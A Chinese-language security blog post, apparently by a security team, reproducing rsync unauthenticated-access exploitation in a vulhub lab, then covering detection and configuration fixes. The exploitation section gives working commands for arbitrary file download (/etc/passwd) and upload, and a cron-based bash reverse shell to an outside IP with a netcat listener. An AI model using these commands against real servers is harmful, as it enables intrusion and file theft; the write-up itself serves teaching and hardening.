rsync未授权访问漏洞利用复现
2022-9-24 00:1:45 Author: 白帽子(查看原文) 阅读量:38 收藏

一、Rsync简介

Rsync是Linux下一款数据备份工具,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。同时支持通过rsync协议、ssh协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员。其中rsync协议默认监听873端口,而一般开发人员安全意识薄弱的情况下,如果目标开启了rsync服务,并且没有配置ACL或访问密码,而rsync默认是root权限,我们将可以读写目标服务器文件。

二、利用条件

rsync默认允许匿名访问,也可在其配置文件中为同步目录添加用户认证相关项,包括认证文件及授权账号,若未包含授权账号行(auth users),则为匿名访问。

三、搭建环境

使用vulhub项目:

https://pan.baidu.com/s/1n0OTWYoXAtQnv87wav6AZA  密码:0kga 

来搭建复现环境,编译及运行rsync服务器:

docker-compose build
docker-compose up -d

(4) nmap扫描一下端口,看到873端口已开启,说明环境搭建完成。

四、漏洞复现

常用操作:

列出模块下的文件:

rsync rsync://127.0.0.1/src

任意文件上传:

rsync 1.txt rsync://192.168.122.1/src/home/

任意文件下载

rsync rsync://192.168.122.1/src/etc/passwd ./

通过写cron任务反弹shell

1、下载任务计划文件

rsync -av rsync://127.0.0.1/src/etc/crontab crontab.txt

2、查看任务计划文件

任务计划表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令

17 * * * * root cd / && run-parts --report /etc/cron.hourly

3、构造shell
#!/bin/bash

/bin/bash -i >& /dev/tcp/172.16.100.141/4444 0>&1

赋予执行权限

chmod +x shell

4、把shell上传至/etc/cron.hourly

rsync -av shell rsync://127.0.0.1/src/etc/cron.hourly

5、本地监听4444端口,等待计划任务执行后反弹shell成功

nc -nvv -lp 4444

此外如果目标有Web服务的话,可以直接写WebShell,或者可以通过写ssh公钥实现获取权限。

五、漏洞探测

关于rsync漏洞扫描方式可以通过以下两种方式实现:

1、rsync扫描-Metasploit:

Metasploit中关于允许匿名访问的rsync扫描模块:

auxiliary/scanner/rsync/modules_list

2、rsync扫描-nmap:

nmap -p 873 --script rsync-list-modules 127.0.0.1

六、漏洞成因

rsync默认配置文件为/etc/rsyncd.conf,常驻模式启动命令rsync –daemon,启动成功后默认监听于TCP端口873,可通过rsync-daemon及ssh两种方式进行认证。

首先查看一下rsync的配置文件

根据以下配置文件发现,我们可以访问path所指定目录以外的目录,该配置还定义了一个src模块,路径指向根目录,而且可读可写,最重要的是没有设置用户名,如此便无需密码直接访问rsync。

uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log
[src]
path = /
comment = src path
read only = no

七、修复建议

更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:

访问控制;设置host allow,限制允许访问主机的IP。

权限控制;设置auth users ,将模块设置成只读。

权限控制;设置read only,将模块设置成只读。

访问认证;设置auth、secrets,认证成功才能调用服务。

模块隐藏;设置list,将模块隐藏。

八、参考链接

https://www.jianshu.com/p/e73f7de1a0f6

https://hok1.github.io/2018/02/03/

https://github.com/vulhub/vulhub/tree/master/rsync/common

https://blog.csdn.net/qq_36374896/article/details/84143428

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

我知道你在看


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246362&idx=2&sn=09de8a6f7853c412ee83cf2c34b48e24&chksm=82ea5773b59dde6555eed292103bd9a2b367b0eeffef6270abdd6a253cea3546f6eb89116679#rd
如有侵权请联系:admin#unsafe.sh